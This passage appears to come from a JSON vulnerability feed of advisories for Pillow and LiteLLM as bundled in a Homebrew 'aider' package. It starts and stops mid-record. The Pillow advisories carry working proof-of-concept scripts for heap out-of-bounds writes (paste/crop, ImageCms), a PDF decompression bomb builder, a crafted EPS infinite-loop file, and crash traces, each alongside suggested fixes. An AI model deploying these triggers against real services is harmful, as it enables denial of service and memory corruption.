row\n```\n\nPillow's image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 << 31)\n\n\ndef rgba_pattern(width):\n out = bytearray()\n for i in range(width):\n out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n return bytes(out)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"variant\",\n choices=(\"paste\", \"crop\", \"alpha\"),\n nargs=\"?\",\n default=\"paste\",\n )\n parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n args = parser.parse_args()\n\n width = args.width\n src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n if args.variant == \"paste\":\n box = ((1 << 31) - width, 0, INT_MIN, 1)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=paste box={box}\")\n print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n sys.stdout.flush()\n dst.paste(src, box)\n print(\"paste returned; first row:\", dst.tobytes().hex())\n\n elif args.variant == \"crop\":\n left = INT_MIN + width\n box = (left, 0, left + width, 1)\n print(f\"variant=crop box={box}\")\n sys.stdout.flush()\n out = src.crop(box)\n print(\"crop returned; output:\", out.tobytes().hex())\n\n else:\n dest = (INT_MIN + width, 0)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=alpha dest={dest}\")\n sys.stdout.flush()\n dst.alpha_composite(src, dest=dest)\n print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {\n return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59199"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9703"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59200","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-jjj6-mw9f-p565","BIT-pillow-2026-59200","CVE-2026-59200","PYSEC-2026-3495"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()","details":"### Summary\n`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.\n\n### Details\n`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:\n\n```python\n# PIL/PdfParser.py — PdfStream.decode()\nclass PdfStream:\n def decode(self) -> bytes:\n try:\n filter = self.dictionary[b\"Filter\"]\n except KeyError:\n return self.buf\n if filter == b\"FlateDecode\":\n try:\n expected_length = self.dictionary[b\"DL\"]\n except KeyError:\n expected_length = self.dictionary[b\"Length\"]\n return zlib.decompress(self.buf, bufsize=int(expected_length))\n # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n # bufsize is an *initial buffer hint*, NOT a maximum size limit.\n # zlib.decompress() allocates as much memory as needed regardless.\n```\n\nFrom the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.\n\n`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.\n\n**Confirmed reachable path:**\n```python\nwith PdfParser.PdfParser(\"evil.pdf\") as pdf:\n stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)\n data = stream_obj.decode() # ← OOM here\n```\n\n\n### PoC\n\n```python\nimport zlib, tempfile, os, time\nfrom PIL import PdfParser\n\n# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)\nEXPAND_MB = 100\nraw = b'\\x00' * (EXPAND_MB * 1_000_000)\ncompressed = zlib.compress(raw, level=9) # ~97 KB\n\nbuf = b'%PDF-1.4\\n'\no1 = len(buf); buf += b'1 0 obj\\n<< /Type /Pages /Kids [] /Count 0 >>\\nendobj\\n'\no2 = len(buf); buf += b'2 0 obj\\n<< /Type /Catalog /Pages 1 0 R >>\\nendobj\\n'\no3 = len(buf)\nhdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()\nbuf += b'3 0 obj\\n' + hdr + b'\\nstream\\n' + compressed + b'\\nendstream\\nendobj\\n'\nxref = len(buf)\nbuf += b'xref\\n0 4\\n0000000000 65535 f \\n'\nfor off in [o1, o2, o3]:\n buf += f'{off:010d} 00000 n \\n'.encode()\nbuf += b'trailer\\n<< /Size 4 /Root 2 0 R >>\\nstartxref\\n' + str(xref).encode() + b'\\n%%EOF\\n'\n\nprint(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\")\n\nwith tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:\n f.write(buf); tmpname = f.name\n\nwith PdfParser.PdfParser(tmpname) as pdf:\n obj, _ = pdf.get_value(pdf.buf, o3)\n t = time.time()\n decoded = obj.decode()\n print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\")\n\nos.unlink(tmpname)\n```\n\n**Actual output (Pillow 12.1.1, Python 3.12):**\n```\nPDF size: 97,538 bytes (95.3 KB)\nDecoded: 100,000,000 bytes in 0.265s\n```\n\n**Measured expansion:**\n\n| PDF file size | Memory allocated | Ratio | Wall time |\n|---|---|---|---|\n| 10 KB | 10 MB | 1,026× | 0.024 s |\n| 95 KB | 100 MB | 1,028× | 0.265 s |\n| 475 KB | 500 MB | 1,028× | 1.279 s |\n| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |\n\n### Impact\nThis is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.\n\n**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.\n\n**Suggested fix:**\n\n```python\nMAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap\n\ndef decode(self) -> bytes:\n ...\n if filter == b\"FlateDecode\":\n ...\n result = zlib.decompress(self.buf, bufsize=int(expected_length))\n if len(result) > MAX_DECOMPRESS_BYTES:\n msg = \"Decompressed stream exceeds maximum allowed size\"\n raise ValueError(msg)\n return result\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59200"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9718"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59203","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-pg7v-jwj7-p798","BIT-pillow-2026-59203","CVE-2026-59203","PYSEC-2026-3452"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service","details":"### Summary\n\nPillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.\n\nThe issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.\n\nConfirmed affected versions: Pillow 12.0.0 through 12.2.0.\n\n### Details\n\nThe issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.\n\nRelevant code:\n\n elif bytes_mv[:14] == b\"%%BeginBinary:\":\n bytecount = int(byte_arr[14:bytes_read])\n self.fp.seek(bytecount, os.SEEK_CUR)\n\nThere is no validation that bytecount is non-negative.\n\nIf an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.\n\nIn local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.\n\n### PoC\n\nSave the following content as pillow_eps_beginbinary_dos.eps:\n\n %!PS-Adobe-3.0 EPSF-3.0\n %%BoundingBox: 0 0 1 1\n %%EndComments\n % dummy comment after transition\n %%BeginBinary:-18\n %%EOF\n\nThen run:\n\n python -m pip install \"Pillow==12.2.0\"\n\n python - <<'PY'\n from PIL import Image\n Image.open(\"pillow_eps_beginbinary_dos.eps\")\n PY\n\nExpected behavior: Pillow should reject the malformed EPS file with a parser exception.\n\nActual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.\n\nThe loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:\n\n LINE b'%%BeginBinary:-18' pos_after_newline 112\n BeginBinary bytecount -18 seek from 112 to 94\n LINE b'%%BeginBinary:-18' pos_after_newline 112\n BeginBinary bytecount -18 seek from 112 to 94\n LINE b'%%BeginBinary:-18' pos_after_newline 112\n BeginBinary bytecount -18 seek from 112 to 94\n\n### Impact\n\nThis is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().\n\nThis can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.\n\nSuggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59203"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9708"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59204","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-vjc4-5qp5-m44j","BIT-pillow-2026-59204","CVE-2026-59204","PYSEC-2026-3496"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service","details":"### Summary\n`src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.\n\n### Details\n- Location: `src/libImaging/Jpeg2KDecode.c:853`\n- Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles.\n- Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`.\n- Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding.\n\n\n### PoC\nThe attached helper script and testcase were used:\n[exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip)\n\n\nGenerate the testcase:\n\n```bash\npythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \\\n --size 3664 --tile 1832\n```\n\nExpected geometry from the helper:\n\n- image size: `3664 x 3664`\n- mode: `RGBA`\n- tile size: `1832 x 1832` (`2x2` tiles)\n- `image_bytes=53699584`\n- uncapped RSS observed:\n - vulnerable build: `maxrss_kb=180264`\n - fixed comparison build: `maxrss_kb=138404`\n\nLoad it with the current vulnerable build:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2\n```\n\nLoad it again under a 160 MB address-space cap:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160\n```\n\n### Impact\nConservative impact: denial of service through memory exhaustion during JPEG2000 decoding.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59204"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9704"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59205","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-9hw9-ch79-4vh6","BIT-pillow-2026-59205","CVE-2026-59205","PYSEC-2026-3453"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch","details":"### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -> RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n if imOut is None:\n imOut = Image.new(self.output_mode, im.size, None)\n self.transform.apply(im.getim(), imOut.getim())\n imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {\n return -1;\n }\n\n for (i = 0; i < im->ysize; i++) {\n cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);\n }\n\n pyCMScopyAux(hTransform, imOut, im);\n return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size: 16384 bytes\noverflow: ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n if im.mode != self.input_mode:\n raise ValueError(\"input mode mismatch\")\n if imOut is None:\n imOut = Image.new(self.output_mode, im.size, None)\n elif imOut.mode != self.output_mode:\n raise ValueError(\"output mode mismatch\")\n self.transform.apply(im.getim(), imOut.getim())\n imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling `cmsDoTransform()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59205"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9715"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59819","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-4g5m-c9r5-49xf","CVE-2026-59819","PYSEC-2026-3476"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.10","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Local file read via request-supplied OIDC file references","details":"### Impact\n\nLiteLLM's `/health/test_connection` endpoint resolved request-supplied environment and OIDC file references in `litellm_params`. A proxy administrator, or another privileged caller with permission to test model connections, could cause LiteLLM to read files from the local filesystem via an `oidc/file/` reference.\n\nBecause exploitation requires privileged proxy access, this is treated as a defense-in-depth issue rather than a cross-tenant privilege bypass.\n\n### Patches\n\nThe issue is fixed in `1.83.10-stable`.\n\nLiteLLM recommend upgrading to `1.83.10-stable` or later.\n\n### Workarounds\n\nRestrict `/health/test_connection` access to trusted administrators only.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-4g5m-c9r5-49xf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59819"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25592"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59820","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-5jmr-gcrj-2c9q","CVE-2026-59820","PYSEC-2026-3477"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Arbitrary file write via path traversal in Skills archive extraction","details":"### Impact\n\nLiteLLM Skills archive extraction did not 